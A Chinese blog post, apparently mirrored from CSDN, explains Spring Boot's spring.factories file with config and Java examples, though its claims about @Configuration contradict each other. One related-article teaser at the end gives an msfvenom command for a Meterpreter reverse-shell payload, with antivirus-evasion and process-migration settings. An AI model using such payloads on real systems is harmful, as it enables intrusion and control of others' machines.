《学会 SpringBoot 系列 · spring.factories 详解》

news2024/9/22 23:22:38

📢 大家好,我是 【战神刘玉栋】,有10多年的研发经验,致力于前后端技术栈的知识沉淀和传播。 💗
🌻 CSDN入驻不久,希望大家多多支持,后续会继续提升文章质量,绝不滥竽充数,欢迎多多交流。👍

文章目录

    • 写在前面的话
    • spring.factories 示例
    • Spring Boot 3.x 的变动
    • 是否需要 @Configuration
    • 总结陈词

CSDN.gif

写在前面的话

spring.factories 文件是 Spring Boot 项目中的一个重要配置文件,用于定义自动配置、环境后处理器和其他 Spring Boot 组件的实现。这个文件通常位于 META-INF 目录下,Spring Boot 在启动时会读取这个文件,以便加载相应的配置和功能。
此篇博文分享一下 spring.factories 的相关用法。

推荐文章 - 程序猿入职必会:
《程序猿入职必会(1) · 搭建拥有数据交互的 SpringBoot 》
《程序猿入职必会(2) · 搭建具备前端展示效果的 Vue》
《程序猿入职必会(3) · SpringBoot 各层功能完善 》
《程序猿入职必会(4) · Vue 完成 CURD 案例 》
《程序猿入职必会(5) · CURD 页面细节规范 》
《程序猿入职必会(6) · 返回结果统一封装》
《程序猿入职必会(7) · 前端请求工具封装》
《程序猿入职必会(8) · 整合 Knife4j 接口文档》
《程序猿入职必会(9) · 用代码生成器快速开发》
《程序猿入职必会(10) · 整合 Redis(基础篇)》
《程序猿入职必会(11) · 整合 Redis 实战运用》

推荐文章 - 学会 SpringMVC 系列
《学会 SpringMVC 系列 · 基础篇》
《学会 SpringMVC 系列 · 剖析篇(上)》
《学会 SpringMVC 系列 · 剖析入参处理》
《学会 SpringMVC 系列 · 剖析出参处理》
《学会 SpringMVC 系列 · 返回值处理器》
《学会 SpringMVC 系列 · 消息转换器 MessageConverters》
《学会 SpringMVC 系列 · 写入拦截器 ResponseBodyAdvice》
《学会 SpringMVC 系列 · 剖析初始化》
《学会 SpringMVC 系列 · 参数解析器 ArgumentResolvers》


spring.factories 示例

先上一段示例,如下所示:

# EnableAutoConfiguration 允许注册自动配置类
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
  com.lw.sbex.ExternalConfig

# EnvironmentPostProcessor 允许你在应用程序上下文创建之前修改环境。
org.springframework.boot.env.EnvironmentPostProcessor=\
  com.lw.sbdemo2.common.custom.CustomEnvironmentPostProcessor

# SpringApplicationRunListener 允许你在应用程序的不同生命周期阶段进行操作。
org.springframework.boot.SpringApplicationRunListener=\
  com.lw.sbdemo2.common.start.CustomSpringApplicationRunListener

解析一下这个文件内容:

  1. org.springframework.boot.autoconfigure.EnableAutoConfiguration
    这一行定义了自动配置类,Spring Boot 的自动配置功能可以根据类路径中的库和配置自动配置 Spring 应用程序。
  2. org.springframework.boot.env.EnvironmentPostProcessor
    这一行定义了环境后处理器。环境后处理器允许开发者在 Spring 应用程序的环境准备阶段对环境进行修改。
public class CustomEnvironmentPostProcessor implements EnvironmentPostProcessor {

    @Override
    public void postProcessEnvironment(ConfigurableEnvironment environment, SpringApplication application) {
        // 在这里可以添加自定义的环境变量
        environment.getSystemProperties()
                .put("custom.property", "customValue");
        System.out.println("Custom property added to environment: custom.property=customValue");
    }
}

  1. org.springframework.boot.SpringApplicationRunListener
    这一行定义了 Spring 应用程序运行监听器。运行监听器可以在 Spring 应用程序的生命周期中执行特定的操作。
    com.zoe.onelink.business.init.BizDefaultLoggingLevelApplicationRunner:这个类可能用于设置应用程序的默认日志级别,确保在应用启动时日志记录的行为符合预期。
public class CustomSpringApplicationRunListener implements SpringApplicationRunListener {

    public CustomSpringApplicationRunListener(SpringApplication application, String[] args) {
    }

    @Override
    public void contextPrepared(ConfigurableApplicationContext context) {
        System.out.println("Application context is prepared.");
    }

    @Override
    public void contextLoaded(ConfigurableApplicationContext context) {
        System.out.println("Application context is loaded.");
    }
}

Spring Boot 3.x 的变动

在 Spring Boot 3.x 中,自动配置类的导入可以通过META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports文件来实现。
如下,ExternalConfig是不在启动类目录的配置类。

com.lw.sbex.ExternalConfig
@Configuration
public class ExternalConfig {

    @Bean
    public ExternalService external() {
        return new ExternalService();
    }
}

注意,只是自动配置功能移动到这边,其他功能,比如环境后置处理器和应用程序运行监听器,还是在 spring.factories,如下所示。

# EnvironmentPostProcessor 允许你在应用程序上下文创建之前修改环境。
org.springframework.boot.env.EnvironmentPostProcessor=\
  com.lw.sbdemo2.common.custom.CustomEnvironmentPostProcessor

# SpringApplicationRunListener 允许你在应用程序的不同生命周期阶段进行操作。
org.springframework.boot.SpringApplicationRunListener=\
  com.lw.sbdemo2.common.start.CustomSpringApplicationRunListener

是否需要 @Configuration

spring.factories 配置的类一般用于不在启动类路径下的配置类,此时加不加 @Configuration 注解都可以,但建议加上。
@Configuration 注解是 Spring Boot 自动配置机制中必不可少的,它告诉 Spring Boot 哪类是一个配置类,应该被加载和应用。如果你在 spring.factories 中添加的类没有添加 @Configuration 注解,那么它不会被自动配置。
详细见下方说明:
在Spring框架中,使用spring.factories文件来添加自动配置类确实可以实现自动注册Bean,而不需要显式地使用@Configuration注解。这两种方式的区别主要体现在以下几点:
代码侵入性:
1、使用@Configuration注解的方式更加符合Spring的编程模型,具有更好的代码侵入性。这意味着代码的意图更加明确,易于理解和维护。
2、不使用@Configuration注解,仅仅通过spring.factories文件注册自动配置类,代码的侵入性较低,但可能使得代码的意图不够明确,特别是在大型项目中。
功能限制:
1、当使用@Configuration注解时,可以充分利用Spring提供的各种功能,如@Bean、@Component、@Lazy、@Profile等注解,以及条件注解(如@Conditional系列注解)等。
2、不使用@Configuration注解时,虽然仍然可以注册Bean,但无法直接使用上述功能,需要通过其他方式(如Java Config或XML配置)来实现。
配置的优先级:
1、在Spring Boot项目中,使用@Configuration注解的类会按照配置的顺序被加载,这意味着可以通过调整配置类的加载顺序来控制Bean的创建顺序。
2、通过spring.factories文件注册的自动配置类,其加载顺序可能不如@Configuration类那么容易控制。
Bean的作用域:
1、使用@Configuration注解,可以方便地定义Bean的作用域(如prototype、singleton等)。
2、不使用@Configuration注解时,默认情况下所有的Bean都是singleton作用域,要改变作用域需要通过其他配置方式实现。
总之,虽然不使用@Configuration注解也可以通过spring.factories文件添加自动配置类,但从代码的可读性、可维护性以及功能完整性方面考虑,建议使用@Configuration注解。这样可以使代码更加规范,也便于后续的开发和维护。


总结陈词

本篇文章介绍了 SpringBoot 框架中,使用 spring.factories 进行自动配置等诸多操作,仅供参考。
💗 后续会逐步分享企业实际开发中的实战经验,有需要交流的可以联系博主。

CSDN_END.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043147.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器人阻抗控制之设计方法

机器人阻抗控制的设计方法主要围绕调整机器人与环境之间的动态关系,使其等效为由弹簧-阻尼-质量组成的二阶系统。这一控制策略不是直接控制机器人的运动或其与外界的接触力,而是控制这二者之间的动态关系。以下是机器人阻抗控制设计方法的详细阐述&#…

Centos7系统上安装docker

centos7安装docker 安装之前,一定查看是否安装docker,如果有,卸载老版本 我是虚拟机装的Centos7,linux 3.10 内核,docker官方说至少3.8以上,建议3.10以上(ubuntu下要linux内核3.8以上&#xff…

LVS详细配置

目录 LVS简介 LVS集群体系结构 LVS相关术语 lvs集群的类型 1、NAT模式 NAT简介 NAT模式数据逻辑 2、DR模式 DR模式简介 DR模式数据逻辑 DR模式的特点 3、TUN模式 TUN模式简介 TUN模式数据传输过程 TUN模式特点 4、fullnet模式 LVS模式总结 LVS调度算法 LVS静…

python从入门到精通:函数

目录 1、函数介绍 2、函数的定义 3、函数的传入参数 4、函数的返回值 5、函数说明文档 6、函数的嵌套调用 7、变量的作用域 1、函数介绍 函数是组织好的,可重复使用的,用来实现特定功能的代码段。 name "zhangsan"; length len(nam…

机器学习(1)--数据可视化

文章目录 数据可视化作用可视化方法实现可视化 总结 数据可视化 数据可视化是将数据以图形、图像、动画等视觉形式表示出来,以便人们能够更直观地理解、分析和交流数据中的信息。 作用 一个整理的好好的数据,我们为什么要将其可视化呢?将它…

深入理解指针

前言&#xff1a;对于指针我们已经有了初步的了解&#xff0c;并已能够简单使用。今天我们来深入理解指针。让我们的指针功力更上一层楼。 1 使用指针访问数组 有了指针的知识&#xff0c;再结合数组的特点&#xff0c;我们就可以使用指针来访问数组了。 #include<stdio.…

线程的进阶学习

线程结束方式: 1.pthread_exit //pthread_join 2.从线程执行函数中return //此时效果等价于pthread_exit 3.pthread_cancel //线程可以被取消 4.任何一个线程调用了exit 或者 主线程 (main函数) return都会造成 进程结束 线程资源回收 ---pthread_join int pthread_ca…

汤姆·克鲁斯对妮可·基德曼经常对粉丝提起他们以前的事感到恼火

妮可基德曼最近回忆了她与前夫汤姆克鲁斯和导演斯坦利库布里克在 1999 年的电影《大开眼戒》中合作的时光。这似乎是对她职业生涯中某个时刻的无伤大雅的回顾&#xff0c;但据报道&#xff0c;有一个人对她在纪念该电影上映 25 周年时的谈话感到不满。 据报道&#xff0c;克鲁…

Polars简明基础教程十四:可视化(四)

数据帧交换协议 数据帧互换协议&#xff08;Dataframe Interchange Protocol&#xff09;&#xff0c;是为了提高不同数据帧库之间的互操作性而设计的。 想象一下&#xff0c;你有很多不同类型的储物箱&#xff08;在这里比喻为不同的数据帧库&#xff0c;如 Pandas、Polars、…

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器&#xff1a;用于装饰类、结构、方法及变量&#xff0c;并赋予其特殊的含义。 例如&#xff1a; Entry 有该装饰器的自定义组件&#xff0c;可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容&#xff0c;欢迎关注微信公众号&#xff1a;组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建&#xff08;已有很多篇超百万级单细胞的多组学图谱&#xff09;&#xff0c;极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了&#xff0c;是因为default-active属性设置的是默认值&#xff0c;是一个死值&#xff0c;一旦刷新就会复原&#xff0c;造成高亮不能保持&#xff0c;那么怎么解决呢&#xff1f; 2、很简单&#xff0c;无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑&#xff0c;代码仓库&#xff0c;服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器&#xff08;非必要但习惯于&#xff09;本机电脑通过ssh远程连接服务器进行操作 关于密钥&#xff1a;&#xff08;通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动&#xff08;二&#xff09;SPI子系统API&#xff08;三&#xff09;SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线&#xff1a;受压…

微信小程序开发了支付系统(必须要进行发货管理)

开发了一个小程序&#xff0c;然后必小程序支付后&#xff0c;一定要发货&#xff1f;线上购买线下取货如何发货&#xff1f; 这其实就是你服务类目选择错了&#xff0c;有的分类是必须要有发货管理的&#xff0c;但是有的就不需要&#xff0c;所以有些时候微信的规则还真的挺…

【vue】h 函数的使用

文章目录 1. 引言2. h 函数3. h 函数的使用3.1 v-if3.2 v-for3.3 v-on3.4 组件3.5 渲染插槽 4. h函数的使用场景参考链接 1. 引言 在绝大多数情况下&#xff0c;Vue 推荐使用模板语法来创建应用。然而在某些使用场景下&#xff0c;我们真的需要用到 JavaScript 完全的编程能力。…

C++ 面试题常用总结 详解(满足c++ 岗位必备,不定时更新)

&#x1f4da; 本文主要总结了一些常见的C面试题&#xff0c;主要涉及到语法基础、STL标准库、内存相关、类相关和其他辅助技能&#xff0c;掌握这些内容&#xff0c;基本上就满足C的岗位技能&#xff08;红色标记为重点内容&#xff09;&#xff0c;欢迎大家前来学习指正&…

01 网络编程-概念引入

目录 1、互联网与物联网 2、计算机网络分类 &#xff08;1&#xff09;按地理范围分类 &#xff08;2&#xff09;按网络拓扑分类 &#xff08;3&#xff09;按网络用途分类 3、套接字 4、网络的七层模型&#xff08;OSI--国际化标准&#xff09; 5、TCP/IP四层协议栈 …

qml ChartView实现动态数据曲线

文章目录 一、qml静态数据曲线二、qml ChartView实现动态数据曲线三、使用C++给曲线提供数据更多qml教程,请参考QML入门进阶教程专栏:https://mingshiqiang.blog.csdn.net/category_9951228_2.html 本篇博客介绍使用qml实现动态数据曲线,效果图如下: 本篇博客代码通过C+…